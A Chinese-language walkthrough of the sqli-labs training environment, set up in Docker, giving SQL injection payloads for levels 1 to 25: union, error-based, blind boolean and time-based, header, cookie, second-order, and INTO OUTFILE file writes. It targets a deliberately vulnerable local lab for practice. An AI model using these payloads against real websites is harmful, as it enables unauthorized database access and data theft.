0x00 Docker 中安装
在 Mac 上,推荐使用 OrbStack.速度更快。
检查 docker 命令:
1 | docker -v |
搜索 sqli-lab 镜像, 选择一个合适的镜像后下载。
1 | docker search sqli-lab |
注意这个仓库没有默认的:lastest 标签,所以需要指定版本号。
1 | docker pull c0ny1/sqli-labs:0.1 |
下载完成后,启动容器:
1 | docker run -d -p 8088:80 c0ny1/sqli-labs:0.1 |
用 http://localhost:8088/ 访问看到界面。说明安装成功。接下来需要初始化。
点击 Setup/reset Database for labs 即可。。
可以用过 http://localhost:8088/Less-1/ 访问到 Lesson 1.
如果你使用了 orbstack , 软件也会帮你自动产生一个本地地址: https://competent_yonath.orb.local/(competent_yonath 是自动生成的 Container 名字。)
0x01 Less-1 GET - Error based - Single quotes - String
根据提示,需要使用 id 参数。
http://localhost:8088/Less-1/?id=1
看到页面给了 ID 为 1 的用户的信息。并且标题提示了:Error based - Single quotes - String
猜测下后台的 SQL:
1 | SELECT * FROM users WHERE id = '1' |
所以尝试单引号注入, id=1’,看到报错信息:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
大概能猜到后台的 SQL 语句是这样的:
1 | SELECT * FROM users WHERE id = '1' LIMIT 0,1 |
看到返回:The used SELECT statements have a different number of columns
说明我们的注入成功了。只是目前要猜测下列数。
访问 http://localhost:8088/Less-1/?id=0‘ union select 1,2,database() –+
看到了回显中的 3 占位的变成了 security 就知道我们的数据库名是 security。
1 | http://localhost:8088/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ |
0x02 Less-2 GET - Error based - Intiger based
第二关和第一关只有一个区别,就是 id 参数的类型变成了数字。所以不需要单引号隔开。
1 | http://localhost:8088/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
0x03 Less-3 GET - Error based - Single quotes with twist
依然用’ 测试注入。得到:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
可以看到有一个括号在 1 后面,所以我们猜测 SQL 可能是:
1 | SELECT * FROM users WHERE id = ('1') LIMIT 0,1 |
所以我们注入的时候,要闭合括号。
1 | http://localhost:8088/Less-3/?id=0') union select 1,2,database() --+ |
可以看到这样就注入成功了。
0x04 Less-4 GET - Error based - Double Quotes - String
用 ‘ 测试注入,并没有任何反应,尝试” 得到报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 |
可以看到后台的 SQL 语句是这样的:
1 | SELECT * FROM users WHERE id = ("1") LIMIT 0,1 |
使用
1 | http://localhost:8088/Less-4/?id=0") union select 1,2,3 --+ |
注入成功。
0x05 Less-5 GET - Double Injection - Single Quotes - String
从名称上看,这一关已经不是之前的报错注入了。
使用 http://localhost:8088/Less-5/?id=1 看到 You are in………..
使用单引号 ‘ 测试注入,得到报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
从目前的返回来看,回显没有了,所以我们需要使用盲注。但是因为有报错,所以我们可以使用报错盲注。
经过测试,以下 payload 就可以成功注入
1 | http://localhost:8088/Less-5/?id=2' union select extractvalue(0x0a,concat(0x0a,(select database()))) --+ |
0x06 Less-6 GET - Double Injection - Double Quotes - String
从名称上看,和上一关的区别就是单引号变成了双引号。
所以只需要:
1
http://localhost:8088/Less-6/?id=2" union select extractvalue(0x0a,concat(0x0a,(select database()))) --+
即可完成注入。
0x07 Less-7 GET - Dump into outfile - String
看名字,应该可以使用 outfile 来导出数据。
没有错误回显,所以我们先尝试正确的注入方式。
尝试到
1 | http://localhost:8088/Less-7/?id=1" union select 1,2,3 --+ |
的时候,发现和有数据,所以我们可以使用 outfile 来导出数据。
测试:
1 | http://localhost:8088/Less-7/?id=1" union select 1,2,3 into outfile "/var/www/html/1.txt" --+ |
发现不报错。接下来就是猜测路径然后可以下载了。猜路径太费时间,我直接进入 Docker 看下。
看到我其实猜对了,不过可能没有写入权限。
试了半天,发现之前的注入是错的,但是因为 sql 不报错,导致我一直以为路径错了。
正确的payload 是:
1 | http://localhost:8088/Less-7/?id=1")) union select 4,5,6 into outfile "/var/tmp/2.txt" --+ |
再 Docker 中查看,发现我路径之前确实搞错了,/var/www/html 是一个软连接。真正的路径是/app
但是查了权限,写入只有 www-data 用户才有权限,但是我们 mysql 的用户应该是不行,但是 /var/tmp 可以成功写入。
0x08 Less-8 GET - Blind - Boolian Based - Single Quotes
看标题是布尔盲注。
看了下 HackBar 竟然没有布尔帮助的 Tool,所以只能手动测试了。
1 | http://localhost:8088/Less-8/?id=0 ' or 1=1 --+ |
尝试到这个 payload ,发现注入应该是成功了。接下来就是猜测了。
1 | http://localhost:8088/Less-8/?id=0 ' or left(database(),1)="s" --+ |
尝试这个 payload 成功,说明猜到 database 的第一位是 s。依次类推
1 | http://localhost:8088/Less-8/?id=0 ' or left(database(),2)="se" --+ |
0x09 Less-9 GET - Blind - Time based. - Single Quotes
看标题是时间盲注。无论你执行啥 payload,都没有啥提示。
1 | http://localhost:8088/Less-9/?id=1' and sleep(5) --+ |
尝试这个 payload ,发现页面需要等待 5 秒才能返回。说明注入成功。
接下来配合其他函数来猜测数据库名。
1 | http://localhost:8088/Less-9/?id=1' and if(left(database(),1)="s",sleep(5),1) --+ |
0x0A Less-10 GET - Blind - Time based - double quotes
和上一关一样,只是单引号变成了双引号。
1 | http://localhost:8088/Less-10/?id=1" and if(left(database(),8)="security",sleep(5),1) --+ |
0x0B Less-11 POST - Error Based - Single quotes- String
POST 的注入。
payload 是
1 | passwd=1&uname=1' or id=0 union select 1,database(); --+&submit=Submit |
0x0C Less-12 POST - Error Based - Double quotes- String - with twist
和上一关类似,只是单引号变成了双引号,同时有个括号要闭合。
1 | passwd=2&uname=1") union select 1,database() --+&submit=Submit |
0x0D Less-13 POST - Double Injection - Single quotes-String - with twist
没有回显,使用报错注入。
1 | passwd=2&uname=1') union select extractvalue(0x0a,concat(0x0a,(select database()))) --+&submit=Submit |
0x0E Less-14 POST - Double Injection - Double quotes- String
和上一关类似,只是单引号变成了双引号。
1 | passwd=2&uname=1"union select extractvalue(0x0a,concat(0x0a,(select database()))) --+&submit=Submit |
0x0F Less-15 POST - Blind- Boolian/time Based - Single quotes
1 | passwd=2&uname=1' or left(database(),8)="security" --+ &submit=Submit |
0x10 Less-16 POST - Blind- Boolian/Time Based - Double quotes - with twist
1 | passwd=2&uname=1") or left(database(),8)="security" --+ &submit=Submit |
0x11 Less-17 POST - Update Query- Error Based - String
测试可知,username 应该是被过滤了引号之类的符号,但是 password 没有被过滤。利用密码进行报错注入。
1 | passwd=1' and extractvalue(0x0a,concat(0x0a,(select database()))) -- +&uname=admin&submit=Submit |
0x12 Less-18 POST - Header Injection - Uagent field - Error Based
从名称推测,是对 User-Agent 字段进行注入。
登陆成功之后才显示 User-Agent 字段,使用admin 账号登陆后,对 UA 字段进行报错注入:
1 | 1',extractvalue(0x0a,concat(0x0a,(select database()))) ,1) # |
0x13 Less-19 POST - Header Injection - Referer field - Error Based
和上一关类似,只是字段变成了 Referer。
1 | 1',extractvalue(0x0a,concat(0x0a,(select database()))) ) # |
0x14 Less-20 POST - Cookie injections
和上一关类似,只是字段变成了 Cookie。因为有回显位,这一关可以使用union 直接查询结果
1 | uname=1' union select 1,2,database() --+; PHPSESSID=87t6gkm00klvj0upm1vpt31ji0 |
0x15 Less-21 Cookie injection- base64 encoded-single quotes and parenthesis
1 | uname=1') union select 1,2,database() -- ; PHPSESSID=87t6gkm00klvj0upm1vpt31ji0 |
0x16 Less-22 Cookie Injection - base64 encoded - double quotes
1 | uname=1" union select 1,2,database() -- ; PHPSESSID=87t6gkm00klvj0upm1vpt31ji0 |
0x17 Less-23 GET - Error based - strip comments
从题目可知,注入的时候不能使用注释符号。
1 | id=0' union select 1 ,database(),' |
0x18 Less-24 POST- Second Oder Injections *Real treat * - Stored Injection
从名称我们猜到是存储行的,二次注入。
首先需要注册一个 admin’# 之类的账号,在后登陆之后修改密码,就可以把 admin 密码修改为我们的 payload。
1 | 注册的时候的 SQL 应该是: |
0x19 Less-25 GET - Error based - All your OR & AND belongs to us-Single quotes
从题目可知,or 和 and 应该是被过滤了。
但是如果我们可以用 union 直接进行查询,那么就不需要 or 和 and 了。
1 | ?id=0' union select 1,2,database() --+ |
0x20 Less-25a GET - Blind Based - All your OR & AND belongs to us- Intiger based